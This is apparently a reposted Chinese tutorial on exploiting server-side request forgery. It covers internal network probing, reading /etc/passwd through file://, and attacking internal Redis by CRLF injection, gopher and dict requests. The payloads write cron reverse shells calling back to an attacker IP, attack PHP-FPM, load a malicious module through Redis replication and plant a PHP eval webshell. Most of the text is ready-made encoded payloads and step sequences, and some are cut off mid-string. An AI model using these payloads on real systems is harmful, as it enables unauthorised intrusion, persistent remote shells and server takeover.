ssrf漏洞利⽤(内⽹探测、打redis)
摘要:存在ssrf漏洞的站点主要利⽤四个协议,分别是http、file、gopher、dict协议。
file协议拿来进⾏本地⽂件的读取,http协议拿来进⾏内⽹的ip扫描、端⼝探测,如果探测到6379端⼝,那么可以利⽤http、gopher、dict这⼏个协议来打开放6379端⼝的redis服
务(⼀般开放了这个端⼝的是redis服务),原理是利⽤他们以⽬标机的⾝份执⾏对开启redis服务的内⽹机执⾏redis命令,最后反弹shell到我们的公⽹ip机上。
⼀、进⾏内⽹探测
利⽤http协议对内⽹进⾏探测,探测整个内⽹的存活ip,和端⼝,如果要针对redis,那么这⼀步主要是开启了6379端⼝的内⽹ip地址。
可利⽤bp或者脚本进⾏快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端⼝。
/xx/xx.php?url=172.21.0.2:6379
⼆、file协议读取⽂件
这个协议可以读取系统的⼀些存放密码的⽂件,⽐如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag⽂件。
/xx/xx.php?url=file:///etc/passwd
三、攻击redis
只要知道内⽹有开启6379的redis服务(或许是其他端⼝开放的此服务),那么就可以利⽤⽬标机进⾏攻击redis了。
第⼀步探测Redis我们已经完成了,那么第⼆部就是发送redis命令,将弹shell脚本写⼊/etc/crontab中,crontab就是linux下的⼀个定时执⾏事件的⼀个程序。
还有两个定时服务⽂件是  /var/spool/cron/root  和  /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进⾏讲解。
⽅法⼀:通过header CRLF 注⼊
Weblogic的SSRF有⼀个⽐较⼤的特点,其虽然是⼀个“GET”请求,但是我们可以通过传⼊`%0a%0d`来注⼊换⾏符,⽽某些服务(如redis)是通过换⾏符来分隔每条命令,也就
说我们可以通过该SSRF攻击内⽹中的redis服务器。
redis命令如下:
test
set1"\n\n\n\n* * * * * root bash -i >& /dev/tcp/公⽹ip/监听端⼝ 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
这⾥是采⽤的bash反弹,在ubuntu下不会反弹成功,CentOS可以反弹成功;路径采⽤的是/etc/crontab.
因为我们是通过GET来发送命令的,因此要将上⾯的命令进⾏URL编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20 payload1就为:
/xx/xx.php?url=172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%然后在⾃⼰的公⽹机192.168.220.140上nc监听2333端⼝
nc -lvp 2333(或nc -l 2333)
然后发送请求即可反弹shell了
⽅法⼆:通过【curl命令】和【gopher协议】远程攻击内⽹redis
gopher协议是⽐http协议更早出现的协议,现在已经不常⽤了,但是在SSRF漏洞利⽤中gopher可以说是万⾦油,因为可以使⽤gopher发送各种格式的请求包,这样就可以解决
漏洞点不在GET参数的问题了。
gopher协议可配合linux下的curl命令伪造POST请求包发给内⽹主机。
此种⽅法能攻击成功的前提条件是:redis是以root权限运⾏的。
payload2如下:
curl -v '/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%2 redis命令进⾏了两次url编码,这⾥是通过gopher协议伪造的请求包⽤curl命令来发送;
payload采⽤的是bash反弹,定时程序路径是/var/spool/cron/root
发送请求之前在公⽹机192.168.220.140开启nc监听端⼝2333
nc -lvp 2333(或nc -l 2333)
⽅法三:使⽤dict协议向Redis数据库写shell
关于dict协议:
  > dict://serverip:port/命令:参数
  > 向服务器的端⼝请求命令:参数,并在末尾⾃动补上\r\n(CRLF),为漏洞利⽤增添了便利
如果服务端不⽀持gopher协议,可尝试dict协议,不过通过dict协议的话要⼀条⼀条的执⾏,⽽gopher协议执⾏⼀条命令就⾏了。
curl扩展也⽀持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利⽤dict:
/xx.php?url=dict://172.21.0.2:6379/info
/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall
这样就代表可以成功执⾏命令。
1. 先清除没⽤的数据,防⽌定时任务执⾏失败
/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall
/xx.php?url=dict://172.21.0.2:6379/flushall
2. 利302跳转写⼊反弹命令
/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=*.*.*.*%26bport=1234
/xx.php?url=dict://172.21.0.2:6379/bhost=*.*.*.*%26bport=1234
3. 设置导出路径
/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/
/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/
4. 设置导出名字
/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root
5. 导出
/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save
/xx.php?url=dict://172.21.0.2:6379/save
使⽤burp发包,为了避免语句顺序执⾏错误,故第⼀个包先跑20个在跑第⼆个包以此类推,如果是批量内⽹ip存在6379端⼝,那么C段⽤通配符“*”表⽰。
在公⽹机上使⽤nc持续监听1234端⼝,等⼀会⼉把包发完就会反弹shell。
Payload 完善修改
payload中出现ip、端⼝、反弹命令、定时程序路径这些都可以根据实际情况,⽬标机的系统版本进⾏更改。
如果⽬标机是CentOS系统:
bash和python反弹都⽀持
路径使⽤:/etc/crontab或者/var/spool/cron/root
如果是ubuntu系统:
⽀持python反弹
路径使⽤:/etc/crontab或者/var/spool/cron/crontabs/root
四、结合gopher协议实现进⼀步攻击
1.通过【curl命令】和【gopher协议】对有【SSRF漏洞】的⽹站远程伪造post请求反弹shell
在靶机上执⾏:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻击机上执⾏:nc -lvp 2333
post请求为:
_POST /test/ssrf/post.php HTTP/1.1
Host: 192.168.220.139
User-Agent: curl/7.42.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
cmd=ccccc
bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
将其进⾏url两次编码,然后结合gopher协议和curl命令,payload如下:
curl -v
'/xx.php?
url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlenco 攻击机先运⾏nc命令,然后curl发送请求。
如果内⽹中的mysql数据库存在⽆密码的⽤户,可结合gopher协议进⾏攻击。
php-fpm⼀般监听在127.0.0.1的9000端⼝上,当存在未授权访问漏洞时,利⽤ Gopher+SSRF 可以完美攻击 FastCGI 执⾏任意命令。
前提:
PHP-FPM监听端⼝
PHP-FPM版本 >= 5.3.3
libcurl版本>=7.45.0(curl版本⼩于7.45.0时,gopher的%00会被截断)
知道服务器上任意⼀个php⽂件的绝对路径,例如/usr/local/lib/php/PEAR.php
五、SSRF 触发主从复制反弹 shell
操作也是很平常的操作,如同你在 redis-cli 中操作⼀样
1.连接远程主服务器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start:8379
2.设置保存⽂件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
3.载⼊ exp.so
/api/test/http_get?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
4.断开主从
/api/test/http_get?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
5.恢复原始⽂件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
6.执⾏命令
/api/test/http_get?url=dict://127.0.0.1::'/x'
7.反弹 shell
/
api/test/http_get?url=dict://127.0.0.1::8887
利⽤主从写shell:
1.连接远程主服务器
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:r3start:2323
2.设置保存路径
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
设置shell内容
/api/test/http_get?url=dict://127.0.0.1:6379/set:xxx:"\n\n\n<?php @eval($_POST['c']);?>\n\n\n"
3.设置保存⽂件名
/api/test/http_get?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
4.保存
/
api/test/http_get?url=dict://127.0.0.1:6379/save
5.断开主从
/api/test/http_get?url=dict://127.0.0.1:6379/slaveof:no:one
getsavefilenamessrf常⽤的攻击⽅式⼤概就这些了,当然有些师傅有⾃⼰独特的骚姿势。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。